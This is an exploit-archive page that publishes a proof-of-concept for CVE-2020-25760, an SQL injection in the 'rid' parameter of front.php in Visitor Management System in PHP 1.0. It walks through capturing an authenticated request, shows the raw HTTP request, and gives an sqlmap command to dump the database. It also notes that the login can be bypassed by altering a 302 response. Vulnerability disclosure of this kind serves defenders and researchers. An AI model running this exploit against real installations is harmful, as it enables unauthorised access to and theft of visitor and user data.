

Visitor Management System In PHP 1.0 SQL Injection

Authored by [Rahul Ramkumar](#)

Posted [Oct 20, 2020](#)

Visitor Management System in PHP version 1.0 suffers from an authenticated remote SQL injection vulnerability.

tags | [exploit](#), [remote](#), [php](#), [sql injection](#)
advisories | [CVE-2020-25760](#)

SHA-256 | [a3d7235a2e76acbc794c00b48c8a76f8062e50cc48e65ded0d4a9d7ecd78ac4d](#) [Download](#) | [Favorite](#) | [View](#)

Related Files

Share This

Like

Twitter

LinkedIn

Reddit

Digg

StumbleUpon

Change Mirror

Download

```
# Title: Visitor Management System in PHP 1.0 - Authenticated SQL Injection
# Exploit Author: Rahul Ramkumar
# Date: 2020-09-16
# Vendor Homepage: https://projectworlds.in
# Software Link: https://projectworlds.in/wp-content/uploads/2020/07/Visitor-Management-System-In-PHP.zip
# Version: 1.0
# Tested On: Windows 10 Enterprise 1809 (x64_86) + XAMPP 7.2.33-1
# CVE: CVE-2020-25760
# Description
The file front.php does not perform input validation on the 'rid' paramter. An attacker can append SQL queries
to the input to extract sensitive information from the database.
Note: This exploit can work pre-authentication as well, but need to change the 302 Response to 200 using an
intercept tool. It should be pretty straight forward so I have not shown how.

#POC

1) Navigate to the login page

Example:

http://192.168.1.72/visitor_management/index.php

2) Enter 'username' and 'password'

3) On the homepage, click on any visitor name and intercept the request

4) Save the request to file. Example, visitor_management_sql.req

GET /visitor_management/front.php?rid=373568 HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.72/visitor_management/front.php
Cookie: PHPSESSID=emdv3k52nga7uf0g1a3b13ef
Upgrade-Insecure-Requests: 1

5) Run SQLmap on the file,

sqlmap -r visitor_management_sql.req --dbms=mysql --threads=10
```

[Login](#) or [Register](#) to add favorites

Follow us on Twitter

Subscribe to an RSS Feed

File Archive: December 2022 <

Su	Mo	Tu	We	Th	Fr
Sa					
				1	2
3					
4	5	6	7	8	9
10					
11	12	13	14	15	16
17					
18	19	20	21	22	23
24					
25	26	27	28	29	30
31					

Top Authors In Last 30 Days

Red Hat 150 files

Ubuntu 68 files

LiquidWorm 23 files

Debian 16 files

malvuln 11 files

nu11security 11 files

Gentoo 9 files

Google Security Research 6 files

Julien Ahrens 4 files

T. Weber 4 files

File Tags

ActiveX (932)
Advisory (79,754)
Arbitrary (15,694)
BBS (2,859)
Bypass (1,619)
CGI (1,018)
Code Execution (8,926)
Conference (673)
Cracker (840)
CSRF (3,290)
DoS (22,602)
Encryption (2,349)
Exploit (50,359)
File Inclusion (4,165)
File Upload (946)
Firewall (821)
Info Disclosure (2,660)
Intrusion Detection (867)
Java (2,899)
JavaScript (821)
Kernel (6,291)
Local (14,201)
Magazine (586)
Overflow (12,419)
Perl (1,418)
PHP (5,093)
Proof of Concept (2,291)
Protocol (3,435)
Python (1,467)
Remote (30,044)
Root (3,504)
Ruby (594)
Scanner (1,631)
Security Tool (7,777)
Shell (3,103)
Shellcode (1,204)
Sniffer (886)

File Archives

December 2022
November 2022
October 2022
September 2022
August 2022
July 2022
June 2022
May 2022
April 2022
March 2022
February 2022
January 2022
Older

Systems

AIX (426)
Apple (1,926)
BSD (370)
CentOS (55)
Cisco (1,917)
Debian (6,634)
Fedora (1,690)
FreeBSD (1,242)
Gentoo (4,272)
HPUX (878)
IOS (330)
iPhone (108)
IRIX (220)
Juniper (67)
Linux (44,315)
Mac OS X (684)
Mandriva (3,105)
NetBSD (255)
OpenBSD (479)
RedHat (12,469)
Slackware (941)
Solaris (1,607)

- Spoof (2,166)

SQL Injection (16,102)

TCP (2,379)

Trojan (686)

UDP (876)

Virus (662)

Vulnerability (31,136)

Web (9,365)

Whitepaper (3,729)

x86 (946)

XSS (17,494)

Other
- SUSE (1,444)

Ubuntu (8,199)

UNIX (9,159)

UnixWare (185)

Windows (6,511)

Other

Site Links

- News by Month
- News Tags
- Files by Month
- File Tags
- File Directory

About Us

- History & Purpose
- Contact Information
- Terms of Service
- Privacy Statement
- Copyright Information

Hosting By

Rokasec



Follow us on Twitter



Subscribe to an RSS Feed